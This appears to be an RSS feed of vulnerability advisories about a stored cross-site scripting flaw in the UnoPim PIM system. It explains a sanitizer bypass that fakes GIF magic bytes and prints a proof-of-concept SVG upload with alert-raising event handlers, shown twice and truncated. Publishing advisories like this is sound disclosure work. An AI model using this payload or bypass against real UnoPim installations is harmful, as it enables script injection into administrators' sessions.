https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Wed, 07 Oct 2026 12:17:11 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-250398 EUVD-2026-250398 https://cve.radiocsirt.org/vuln/euvd-2026-250398 https://cve.radiocsirt.org/vuln/fkie_cve-2025-55742 <p>UnoPim is an open-source Product Information Management (PIM) system built on the Laravel framework. Before 0.2.1, UnoPim contains a stored cross-site scripting vulnerability via SVG MIME/sanitizer bypass in the /admin/settings/users/create endpoint. This vulnerability is fixed in 0.2.1.</p> <p>UnoPim is an open-source Product Information Management (PIM) system built on the Laravel framework. Before 0.2.1, UnoPim contains a stored cross-site scripting vulnerability via SVG MIME/sanitizer bypass in the /admin/settings/users/create endpoint. This vulnerability is fixed in 0.2.1.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2025-55742 https://cve.radiocsirt.org/vuln/ghsa-xr97-25v7-hc2q <p><strong>Affected:</strong> Packagist: unopim/unopim</p> <p>### Summary Affected Functionality: User creation Endpoint: `/admin/settings/users/create`</p> <p>### Details https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19 See the mimetype is checked for validation. Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.</p> <p>File containing &lt;svg&gt; is considered as svg and is sanitized:  ``` Content-Disposition: form-data; name=&#34;image[]&#34;; filename=&#34;poc.html&#34; Content-Type: image/svg+xml</p> <p>&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt; &lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; width=&#34;200&#34; height=&#34;200&#34; viewBox=&#34;0 0 200 200&#34; onload=&#34;alert(5)&#34;&gt; &lt;rect width=&#34;200&#34; height=&#34;200&#34; fill=&#34;#3498db&#34; onmouseover=&#34;alert(&#39;Hover&#39;)&#34;&gt;&lt;/rect&gt; &lt;text x=&#34;50%&#34; y=&#34;50%&#34; font-size=&#34;20&#34; text-anchor=&#34;middle&#34; dy=&#34;.3em&#34; fill=&#34;white&#34; &gt;Proof of Concept&lt;/text&gt; &lt;/svg&gt; ``` </p> <p>Sanitization bypass using MIME type manipulation:  ``` Content-Disposition: form-data; name=&#34;image[]&#34;; filename=&#34;poc.html&#34;…</p> <p><strong>Affected:</strong> Packagist: unopim/unopim</p> <p>### Summary Affected Functionality: User creation Endpoint: `/admin/settings/users/create`</p> <p>### Details https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19 See the mimetype is checked for validation. Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.</p> <p>File containing &lt;svg&gt; is considered as svg and is sanitized:  ``` Content-Disposition: form-data; name=&#34;image[]&#34;; filename=&#34;poc.html&#34; Content-Type: image/svg+xml</p> <p>&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt; &lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; width=&#34;200&#34; height=&#34;200&#34; viewBox=&#34;0 0 200 200&#34; onload=&#34;alert(5)&#34;&gt; &lt;rect width=&#34;200&#34; height=&#34;200&#34; fill=&#34;#3498db&#34; onmouseover=&#34;alert(&#39;Hover&#39;)&#34;&gt;&lt;/rect&gt; &lt;text x=&#34;50%&#34; y=&#34;50%&#34; font-size=&#34;20&#34; text-anchor=&#34;middle&#34; dy=&#34;.3em&#34; fill=&#34;white&#34; &gt;Proof of Concept&lt;/text&gt; &lt;/svg&gt; ``` </p> <p>Sanitization bypass using MIME type manipulation:  ``` Content-Disposition: form-data; name=&#34;image[]&#34;; filename=&#34;poc.html&#34;…</p> https://cve.radiocsirt.org/vuln/ghsa-xr97-25v7-hc2q